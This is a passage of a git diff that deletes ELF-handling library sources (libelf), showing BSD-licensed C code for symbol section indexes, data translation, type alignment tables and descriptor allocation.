- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- */
-
-#include <sys/cdefs.h>
-
-#include <assert.h>
-#include <gelf.h>
-
-#include "_libelf.h"
-
-ELFTC_VCSID("$Id: gelf_symshndx.c 2283 2011-12-04 04:07:24Z jkoshy $");
-
-GElf_Sym *
-gelf_getsymshndx(Elf_Data *d, Elf_Data *id, int ndx, GElf_Sym *dst,
-    Elf32_Word *shindex)
-{
-	int ec;
-	Elf *e;
-	size_t msz;
-	Elf_Scn *scn;
-	uint32_t sh_type;
-	struct _Libelf_Data *ld, *lid;
-
-	ld = (struct _Libelf_Data *) d;
-	lid = (struct _Libelf_Data *) id;
-
-	if (gelf_getsym(d, ndx, dst) == 0)
-		return (NULL);
-
-	if (lid == NULL || (scn = lid->d_scn) == NULL ||
-	    (e = scn->s_elf) == NULL || (e != ld->d_scn->s_elf) ||
-	    shindex == NULL) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (NULL);
-	}
-
-	ec = e->e_class;
-	assert(ec == ELFCLASS32 || ec == ELFCLASS64);
-
-	if (ec == ELFCLASS32)
-		sh_type = scn->s_shdr.s_shdr32.sh_type;
-	else
-		sh_type = scn->s_shdr.s_shdr64.sh_type;
-
-	if (_libelf_xlate_shtype(sh_type) != ELF_T_WORD ||
-	   id->d_type != ELF_T_WORD) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (NULL);
-	}
-
-	msz = _libelf_msize(ELF_T_WORD, ec, e->e_version);
-
-	assert(msz > 0);
-
-	if (msz * ndx >= id->d_size) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (NULL);
-	}
-
-	*shindex = ((Elf32_Word *) id->d_buf)[ndx];
-
-	return (dst);
-}
-
-int
-gelf_update_symshndx(Elf_Data *d, Elf_Data *id, int ndx, GElf_Sym *gs,
-    Elf32_Word xindex)
-{
-	int ec;
-	Elf *e;
-	size_t msz;
-	Elf_Scn *scn;
-	uint32_t sh_type;
-	struct _Libelf_Data *ld, *lid;
-
-	ld = (struct _Libelf_Data *) d;
-	lid = (struct _Libelf_Data *) id;
-
-	if (gelf_update_sym(d, ndx, gs) == 0)
-		return (0);
-
-	if (lid == NULL || (scn = lid->d_scn) == NULL ||
-	    (e = scn->s_elf) == NULL || (e != ld->d_scn->s_elf)) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (0);
-	}
-
-	ec = e->e_class;
-	assert(ec == ELFCLASS32 || ec == ELFCLASS64);
-
-	if (ec == ELFCLASS32)
-		sh_type = scn->s_shdr.s_shdr32.sh_type;
-	else
-		sh_type = scn->s_shdr.s_shdr64.sh_type;
-
-	if (_libelf_xlate_shtype(sh_type) != ELF_T_WORD ||
-	    d->d_type != ELF_T_WORD) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (0);
-	}
-
-	msz = _libelf_msize(ELF_T_WORD, ec, e->e_version);
-	assert(msz > 0);
-
-	if (msz * ndx >= id->d_size) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (0);
-	}
-
-	*(((Elf32_Word *) id->d_buf) + ndx) = xindex;
-
-	return (1);
-}
diff --git a/src/libelf/gelf_xlate.c b/src/libelf/gelf_xlate.c
deleted file mode 100644
index 15f30ee..0000000
--- a/src/libelf/gelf_xlate.c
+++ /dev/null
@@ -1,81 +0,0 @@
-/*-
- * Copyright (c) 2006,2008 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- */
-
-#include <sys/cdefs.h>
-
-#include <gelf.h>
-#include <libelf.h>
-#include <string.h>
-
-#include "_libelf.h"
-
-ELFTC_VCSID("$Id: gelf_xlate.c 2225 2011-11-26 18:55:54Z jkoshy $");
-
-Elf_Data *
-elf32_xlatetof(Elf_Data *dst, const Elf_Data *src, unsigned int encoding)
-{
-	return _libelf_xlate(dst, src, encoding, ELFCLASS32, ELF_TOFILE);
-}
-
-Elf_Data *
-elf64_xlatetof(Elf_Data *dst, const Elf_Data *src, unsigned int encoding)
-{
-	return _libelf_xlate(dst, src, encoding, ELFCLASS64, ELF_TOFILE);
-}
-
-Elf_Data *
-elf32_xlatetom(Elf_Data *dst, const Elf_Data *src, unsigned int encoding)
-{
-	return _libelf_xlate(dst, src, encoding, ELFCLASS32, ELF_TOMEMORY);
-}
-
-Elf_Data *
-elf64_xlatetom(Elf_Data *dst, const Elf_Data *src, unsigned int encoding)
-{
-	return _libelf_xlate(dst, src, encoding, ELFCLASS64, ELF_TOMEMORY);
-}
-
-Elf_Data *
-gelf_xlatetom(Elf *e, Elf_Data *dst, const Elf_Data *src,
-    unsigned int encoding)
-{
-	if (e != NULL)
-		return (_libelf_xlate(dst, src, encoding, e->e_class,
-		    ELF_TOMEMORY));
-	LIBELF_SET_ERROR(ARGUMENT, 0);
-	return (NULL);
-}
-
-Elf_Data *
-gelf_xlatetof(Elf *e, Elf_Data *dst, const Elf_Data *src,
-    unsigned int encoding)
-{
-	if (e != NULL)
-		return (_libelf_xlate(dst, src, encoding, e->e_class,
-		    ELF_TOFILE));
-	LIBELF_SET_ERROR(ARGUMENT, 0);
-	return (NULL);
-}
diff --git a/src/libelf/libelf.h b/src/libelf/libelf.h
deleted file mode 100644
index 8b875d4..0000000
--- a/src/libelf/libelf.h
+++ /dev/null
@@ -1,250 +0,0 @@
-/*-
- * Copyright (c) 2006,2008-2010 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- *
- * $Id: libelf.h 2366 2011-12-29 06:12:14Z jkoshy $
- */
-
-#ifndef	_LIBELF_H_
-#define	_LIBELF_H_
-
-#include <sys/types.h>
-
-#include <elfdefinitions.h>
-
-/* Library private data structures */
-typedef struct _Elf Elf;
-typedef struct _Elf_Scn Elf_Scn;
-
-/* File types */
-typedef enum {
-	ELF_K_NONE = 0,
-	ELF_K_AR,	/* `ar' archives */
-	ELF_K_COFF,	/* COFF files (unsupported) */
-	ELF_K_ELF,	/* ELF files */
-	ELF_K_NUM
-} Elf_Kind;
-
-#define	ELF_K_FIRST	ELF_K_NONE
-#define	ELF_K_LAST	ELF_K_NUM
-
-/* Data types */
-typedef enum {
-	ELF_T_ADDR,
-	ELF_T_BYTE,
-	ELF_T_CAP,
-	ELF_T_DYN,
-	ELF_T_EHDR,
-	ELF_T_HALF,
-	ELF_T_LWORD,
-	ELF_T_MOVE,
-	ELF_T_MOVEP,
-	ELF_T_NOTE,
-	ELF_T_OFF,
-	ELF_T_PHDR,
-	ELF_T_REL,
-	ELF_T_RELA,
-	ELF_T_SHDR,
-	ELF_T_SWORD,
-	ELF_T_SXWORD,
-	ELF_T_SYMINFO,
-	ELF_T_SYM,
-	ELF_T_VDEF,
-	ELF_T_VNEED,
-	ELF_T_WORD,
-	ELF_T_XWORD,
-	ELF_T_GNUHASH,	/* GNU style hash tables. */
-	ELF_T_NUM
-} Elf_Type;
-
-#define	ELF_T_FIRST	ELF_T_ADDR
-#define	ELF_T_LAST	ELF_T_GNUHASH
-
-/* Commands */
-typedef enum {
-	ELF_C_NULL = 0,
-	ELF_C_CLR,
-	ELF_C_FDDONE,
-	ELF_C_FDREAD,
-	ELF_C_RDWR,
-	ELF_C_READ,
-	ELF_C_SET,
-	ELF_C_WRITE,
-	ELF_C_NUM
-} Elf_Cmd;
-
-#define	ELF_C_FIRST	ELF_C_NULL
-#define	ELF_C_LAST	ELF_C_NUM
-
-/*
- * An `Elf_Data' structure describes data in an
- * ELF section.
- */
-typedef struct _Elf_Data {
-	/*
-	 * `Public' members that are part of the ELF(3) API.
-	 */
-	uint64_t	d_align;
-	void		*d_buf;
-	uint64_t	d_off;
-	uint64_t	d_size;
-	Elf_Type	d_type;
-	unsigned int	d_version;
-} Elf_Data;
-
-/*
- * An `Elf_Arhdr' structure describes an archive
- * header.
- */
-typedef struct {
-	time_t		ar_date;
-	char		*ar_name;	/* archive member name */
-	gid_t		ar_gid;
-	mode_t		ar_mode;
-	char		*ar_rawname;	/* 'raw' member name */
-	size_t		ar_size;
-	uid_t		ar_uid;
-
-	/*
-	 * Members that are not part of the public API.
-	 */
-	int		ar_flags;
-} Elf_Arhdr;
-
-/*
- * An `Elf_Arsym' describes an entry in the archive
- * symbol table.
- */
-typedef struct {
-	off_t		as_off;		/* byte offset to member's header */
-	unsigned long	as_hash;	/* elf_hash() value for name */
-	char		*as_name; 	/* null terminated symbol name */
-} Elf_Arsym;
-
-/*
- * Error numbers.
- */
-
-enum Elf_Error {
-	ELF_E_NONE,	/* No error */
-	ELF_E_ARCHIVE,	/* Malformed ar(1) archive */
-	ELF_E_ARGUMENT,	/* Invalid argument */
-	ELF_E_CLASS,	/* Mismatched ELF class */
-	ELF_E_DATA,	/* Invalid data descriptor */
-	ELF_E_HEADER,	/* Missing or malformed ELF header */
-	ELF_E_IO,	/* I/O error */
-	ELF_E_LAYOUT,	/* Layout constraint violation */
-	ELF_E_MODE,	/* Wrong mode for ELF descriptor */
-	ELF_E_RANGE,	/* Value out of range */
-	ELF_E_RESOURCE,	/* Resource exhaustion */
-	ELF_E_SECTION,	/* Invalid section descriptor */
-	ELF_E_SEQUENCE,	/* API calls out of sequence */
-	ELF_E_UNIMPL,	/* Feature is unimplemented */
-	ELF_E_VERSION,	/* Unknown API version */
-	ELF_E_NUM	/* Max error number */
-};
-
-/*
- * Flags defined by the API.
- */
-
-#define	ELF_F_LAYOUT	0x001U	/* application will layout the file */
-#define	ELF_F_DIRTY	0x002U	/* a section or ELF file is dirty */
-
-/* ELF(3) API extensions. */
-#define	ELF_F_ARCHIVE	   0x100U /* archive creation */
-#define	ELF_F_ARCHIVE_SYSV 0x200U /* SYSV style archive */
-
-Elf		*elf_begin(int _fd, Elf_Cmd _cmd, Elf *_elf);
-int		elf_cntl(Elf *_elf, Elf_Cmd _cmd);
-int		elf_end(Elf *_elf);
-const char	*elf_errmsg(int _error);
-int		elf_errno(void);
-void		elf_fill(int _fill);
-unsigned int	elf_flagarhdr(Elf_Arhdr *_arh, Elf_Cmd _cmd,
-			unsigned int _flags);
-unsigned int	elf_flagdata(Elf_Data *_data, Elf_Cmd _cmd,
-			unsigned int _flags);
-unsigned int	elf_flagehdr(Elf *_elf, Elf_Cmd _cmd, unsigned int _flags);
-unsigned int	elf_flagelf(Elf *_elf, Elf_Cmd _cmd, unsigned int _flags);
-unsigned int	elf_flagphdr(Elf *_elf, Elf_Cmd _cmd, unsigned int _flags);
-unsigned int	elf_flagscn(Elf_Scn *_scn, Elf_Cmd _cmd, unsigned int _flags);
-unsigned int	elf_flagshdr(Elf_Scn *_scn, Elf_Cmd _cmd, unsigned int _flags);
-Elf_Arhdr	*elf_getarhdr(Elf *_elf);
-Elf_Arsym	*elf_getarsym(Elf *_elf, size_t *_ptr);
-off_t		elf_getbase(Elf *_elf);
-Elf_Data	*elf_getdata(Elf_Scn *, Elf_Data *);
-char		*elf_getident(Elf *_elf, size_t *_ptr);
-int		elf_getphdrnum(Elf *_elf, size_t *_dst);
-int		elf_getphnum(Elf *_elf, size_t *_dst);	/* Deprecated */
-Elf_Scn		*elf_getscn(Elf *_elf, size_t _index);
-int		elf_getshdrnum(Elf *_elf, size_t *_dst);
-int		elf_getshnum(Elf *_elf, size_t *_dst);	/* Deprecated */
-int		elf_getshdrstrndx(Elf *_elf, size_t *_dst);
-int		elf_getshstrndx(Elf *_elf, size_t *_dst); /* Deprecated */
-unsigned long	elf_hash(const char *_name);
-Elf_Kind	elf_kind(Elf *_elf);
-Elf		*elf_memory(char *_image, size_t _size);
-size_t		elf_ndxscn(Elf_Scn *_scn);
-Elf_Data	*elf_newdata(Elf_Scn *_scn);
-Elf_Scn		*elf_newscn(Elf *_elf);
-Elf_Scn		*elf_nextscn(Elf *_elf, Elf_Scn *_scn);
-Elf_Cmd		elf_next(Elf *_elf);
-Elf		*elf_open(int _fd);
-Elf		*elf_openmemory(char *_image, size_t _size);
-off_t		elf_rand(Elf *_elf, off_t _off);
-Elf_Data	*elf_rawdata(Elf_Scn *_scn, Elf_Data *_data);
-char		*elf_rawfile(Elf *_elf, size_t *_size);
-int		elf_setshstrndx(Elf *_elf, size_t _shnum);
-char		*elf_strptr(Elf *_elf, size_t _section, size_t _offset);
-off_t		elf_update(Elf *_elf, Elf_Cmd _cmd);
-unsigned int	elf_version(unsigned int _version);
-
-long		elf32_checksum(Elf *_elf);
-size_t		elf32_fsize(Elf_Type _type, size_t _count,
-			unsigned int _version);
-Elf32_Ehdr	*elf32_getehdr(Elf *_elf);
-Elf32_Phdr	*elf32_getphdr(Elf *_elf);
-Elf32_Shdr	*elf32_getshdr(Elf_Scn *_scn);
-Elf32_Ehdr	*elf32_newehdr(Elf *_elf);
-Elf32_Phdr	*elf32_newphdr(Elf *_elf, size_t _count);
-Elf_Data	*elf32_xlatetof(Elf_Data *_dst, const Elf_Data *_src,
-			unsigned int _enc);
-Elf_Data	*elf32_xlatetom(Elf_Data *_dst, const Elf_Data *_src,
-			unsigned int _enc);
-
-long		elf64_checksum(Elf *_elf);
-size_t		elf64_fsize(Elf_Type _type, size_t _count,
-			unsigned int _version);
-Elf64_Ehdr	*elf64_getehdr(Elf *_elf);
-Elf64_Phdr	*elf64_getphdr(Elf *_elf);
-Elf64_Shdr	*elf64_getshdr(Elf_Scn *_scn);
-Elf64_Ehdr	*elf64_newehdr(Elf *_elf);
-Elf64_Phdr	*elf64_newphdr(Elf *_elf, size_t _count);
-Elf_Data	*elf64_xlatetof(Elf_Data *_dst, const Elf_Data *_src,
-			unsigned int _enc);
-Elf_Data	*elf64_xlatetom(Elf_Data *_dst, const Elf_Data *_src,
-			unsigned int _enc);
-
-#endif	/* _LIBELF_H_ */
diff --git a/src/libelf/libelf_align.c b/src/libelf/libelf_align.c
deleted file mode 100644
index 9550c5b..0000000
--- a/src/libelf/libelf_align.c
+++ /dev/null
@@ -1,137 +0,0 @@
-/*-
- * Copyright (c) 2006,2008 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- */
-
-#include <sys/cdefs.h>
-
-#include <sys/types.h>
-
-#include <libelf.h>
-
-#include "_libelf.h"
-
-ELFTC_VCSID("$Id: libelf_align.c 2225 2011-11-26 18:55:54Z jkoshy $");
-
-struct align {
-	int a32;
-	int a64;
-};
-
-#ifdef	__GNUC__
-#define	MALIGN(N)	{					\
-		.a32 = __alignof__(Elf32_##N),			\
-		.a64 = __alignof__(Elf64_##N)			\
-	}
-#define	MALIGN64(V)	  {					\
-		.a32 = 0,					\
-		.a64 = __alignof__(Elf64_##V)			\
-	}
-#define	MALIGN_WORD()	{					\
-		.a32 = __alignof__(int32_t),			\
-		.a64 = __alignof__(int64_t)			\
-	    }
-#else
-#error	Need the __alignof__ builtin.
-#endif
-#define	UNSUPPORTED()	{					\
-		.a32 = 0,					\
-		.a64 = 0					\
-	}
-
-static struct align malign[ELF_T_NUM] = {
-	[ELF_T_ADDR]	= MALIGN(Addr),
-	[ELF_T_BYTE]	= { .a32 = 1, .a64 = 1 },
-	[ELF_T_CAP]	= MALIGN(Cap),
-	[ELF_T_DYN]	= MALIGN(Dyn),
-	[ELF_T_EHDR]	= MALIGN(Ehdr),
-	[ELF_T_HALF]	= MALIGN(Half),
-	[ELF_T_LWORD]	= MALIGN(Lword),
-	[ELF_T_MOVE]	= MALIGN(Move),
-	[ELF_T_MOVEP] 	= UNSUPPORTED(),
-	[ELF_T_NOTE]	= MALIGN(Nhdr),
-	[ELF_T_OFF]	= MALIGN(Off),
-	[ELF_T_PHDR]	= MALIGN(Phdr),
-	[ELF_T_REL]	= MALIGN(Rel),
-	[ELF_T_RELA]	= MALIGN(Rela),
-	[ELF_T_SHDR]	= MALIGN(Shdr),
-	[ELF_T_SWORD]	= MALIGN(Sword),
-	[ELF_T_SXWORD]	= MALIGN64(Sxword),
-	[ELF_T_SYM]	= MALIGN(Sym),
-	[ELF_T_SYMINFO]	= MALIGN(Syminfo),
-	[ELF_T_VDEF]	= MALIGN(Verdef),
-	[ELF_T_VNEED]	= MALIGN(Verneed),
-	[ELF_T_WORD]	= MALIGN(Word),
-	[ELF_T_XWORD]	= MALIGN64(Xword),
-	[ELF_T_GNUHASH] = MALIGN_WORD()
-};
-
-int
-_libelf_malign(Elf_Type t, int elfclass)
-{
-	if (t >= ELF_T_NUM || (int) t < 0)
-		return (0);
-
-	return (elfclass == ELFCLASS32 ? malign[t].a32 :
-	    malign[t].a64);
-}
-
-#define	FALIGN(A32,A64)	{ .a32 = (A32), .a64 = (A64) }
-
-static struct align falign[ELF_T_NUM] = {
-	[ELF_T_ADDR]	= FALIGN(4,8),
-	[ELF_T_BYTE]	= FALIGN(1,1),
-	[ELF_T_CAP]	= FALIGN(4,8),
-	[ELF_T_DYN]	= FALIGN(4,8),
-	[ELF_T_EHDR]	= FALIGN(4,8),
-	[ELF_T_HALF]	= FALIGN(2,2),
-	[ELF_T_LWORD]	= FALIGN(8,8),
-	[ELF_T_MOVE]	= FALIGN(8,8),
-	[ELF_T_MOVEP] 	= UNSUPPORTED(),
-	[ELF_T_NOTE]	= FALIGN(4,4),
-	[ELF_T_OFF]	= FALIGN(4,8),
-	[ELF_T_PHDR]	= FALIGN(4,8),
-	[ELF_T_REL]	= FALIGN(4,8),
-	[ELF_T_RELA]	= FALIGN(4,8),
-	[ELF_T_SHDR]	= FALIGN(4,8),
-	[ELF_T_SWORD]	= FALIGN(4,4),
-	[ELF_T_SXWORD]	= FALIGN(0,8),
-	[ELF_T_SYM]	= FALIGN(4,8),
-	[ELF_T_SYMINFO]	= FALIGN(2,2),
-	[ELF_T_VDEF]	= FALIGN(4,4),
-	[ELF_T_VNEED]	= FALIGN(4,4),
-	[ELF_T_WORD]	= FALIGN(4,4),
-	[ELF_T_XWORD]	= FALIGN(0,8),
-	[ELF_T_GNUHASH] = FALIGN(4,8)
-};
-
-int
-_libelf_falign(Elf_Type t, int elfclass)
-{
-	if (t >= ELF_T_NUM || (int) t < 0)
-		return (0);
-
-	return (elfclass == ELFCLASS32 ? falign[t].a32 :
-	    falign[t].a64);
-}
diff --git a/src/libelf/libelf_allocate.c b/src/libelf/libelf_allocate.c
deleted file mode 100644
index 9a5df6b..0000000
--- a/src/libelf/libelf_allocate.c
+++ /dev/null
@@ -1,212 +0,0 @@
-/*-
- * Copyright (c) 2006,2008,2010 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- */
-
-/*
- * Internal APIs
- */
-
-#include <sys/cdefs.h>
-
-#include <assert.h>
-#include <errno.h>
-#include <libelf.h>
-#include <stdlib.h>
-#include <string.h>
-
-#include "_libelf.h"
-
-ELFTC_VCSID("$Id: libelf_allocate.c 2272 2011-12-03 17:07:31Z jkoshy $");
-
-Elf *
-_libelf_allocate_elf(void)
-{
-	Elf *e;
-
-	if ((e = malloc(sizeof(*e))) == NULL) {
-		LIBELF_SET_ERROR(RESOURCE, errno);
-		return NULL;
-	}
-
-	e->e_activations = 1;
-	e->e_hdr.e_rawhdr = NULL;
-	e->e_byteorder   = ELFDATANONE;
-	e->e_class       = ELFCLASSNONE;
-	e->e_cmd         = ELF_C_NULL;
-	e->e_fd          = -1;
-	e->e_flags	 = 0;
-	e->e_kind        = ELF_K_NONE;
-	e->e_parent      = NULL;
-	e->e_rawfile     = NULL;
-	e->e_rawsize     = 0;
-	e->e_version     = LIBELF_PRIVATE(version);
-
-	(void) memset(&e->e_u, 0, sizeof(e->e_u));
-
-	return (e);
-}
-
-void
-_libelf_init_elf(Elf *e, Elf_Kind kind)
-{
-	assert(e != NULL);
-	assert(e->e_kind == ELF_K_NONE);
-
-	e->e_kind = kind;
-
-	switch (kind) {
-	case ELF_K_ELF:
-		STAILQ_INIT(&e->e_u.e_elf.e_scn);
-		break;
-	default:
-		break;
-	}
-}
-
-#define	FREE(P)		do {				\
-		if (P)					\
-			free(P);			\
-	} while (0)
-
-
-Elf *
-_libelf_release_elf(Elf *e)
-{
-	Elf_Arhdr *arh;
-
-	switch (e->e_kind) {
-	case ELF_K_AR:
-		FREE(e->e_u.e_ar.e_symtab);
-		break;
-
-	case ELF_K_ELF:
-		switch (e->e_class) {
-		case ELFCLASS32:
-			FREE(e->e_u.e_elf.e_ehdr.e_ehdr32);
-			FREE(e->e_u.e_elf.e_phdr.e_phdr32);
-			break;
-		case ELFCLASS64:
-			FREE(e->e_u.e_elf.e_ehdr.e_ehdr64);
-			FREE(e->e_u.e_elf.e_phdr.e_phdr64);
-			break;
-		}
-
-		assert(STAILQ_EMPTY(&e->e_u.e_elf.e_scn));
-
-		if (e->e_flags & LIBELF_F_AR_HEADER) {
-			arh = e->e_hdr.e_arhdr;
-			FREE(arh->ar_name);
-			FREE(arh->ar_rawname);
-			free(arh);
-		}
-
-		break;
-
-	default:
-		break;
-	}
-
-	free(e);
-
-	return (NULL);
-}
-
-struct _Libelf_Data *
-_libelf_allocate_data(Elf_Scn *s)
-{
-	struct _Libelf_Data *d;
-
-	if ((d = calloc((size_t) 1, sizeof(*d))) == NULL) {
-		LIBELF_SET_ERROR(RESOURCE, 0);
-		return (NULL);
-	}
-
-	d->d_scn = s;
-
-	return (d);
-}
-
-struct _Libelf_Data *
-_libelf_release_data(struct _Libelf_Data *d)
-{
-
-	if (d->d_flags & LIBELF_F_DATA_MALLOCED)
-		free(d->d_data.d_buf);
-
-	free(d);
-
-	return (NULL);
-}
-
-Elf_Scn *
-_libelf_allocate_scn(Elf *e, size_t ndx)
-{
-	Elf_Scn *s;
-
-	if ((s = calloc((size_t) 1, sizeof(Elf_Scn))) == NULL) {
-		LIBELF_SET_ERROR(RESOURCE, errno);
-		return (NULL);
-	}
-
-	s->s_elf = e;
-	s->s_ndx = ndx;
-
-	STAILQ_INIT(&s->s_data);
-	STAILQ_INIT(&s->s_rawdata);
-
-	STAILQ_INSERT_TAIL(&e->e_u.e_elf.e_scn, s, s_next);
-
-	return (s);
-}
-
-Elf_Scn *
-_libelf_release_scn(Elf_Scn *s)
-{
-	Elf *e;
-	struct _Libelf_Data *d, *td;
-
-	assert(s != NULL);
-
-	STAILQ_FOREACH_SAFE(d, &s->s_data, d_next, td) {
-		STAILQ_REMOVE(&s->s_data, d, _Libelf_Data, d_next);
-		d = _libelf_release_data(d);
-	}
-
-	STAILQ_FOREACH_SAFE(d, &s->s_rawdata, d_next, td) {
-		assert((d->d_flags & LIBELF_F_DATA_MALLOCED) == 0);
-		STAILQ_REMOVE(&s->s_rawdata, d, _Libelf_Data, d_next);
-		d = _libelf_release_data(d);
-	}
-
-	e = s->s_elf;
-
-	assert(e != NULL);
-
-	STAILQ_REMOVE(&e->e_u.e_elf.e_scn, s, _Elf_Scn, s_next);
-
-	free(s);
-
-	return (NULL);
-}
diff --git a/src/libelf/libelf_ar.c b/src/libelf/libelf_ar.c
deleted file mode 100644
index c990d6d..0000000
--- a/src/libelf/libelf_ar.c
+++ /dev/null
@@ -1,461 +0,0 @@
-/*-
- * Copyright (c) 2006,2008,2010 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS `AS IS' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
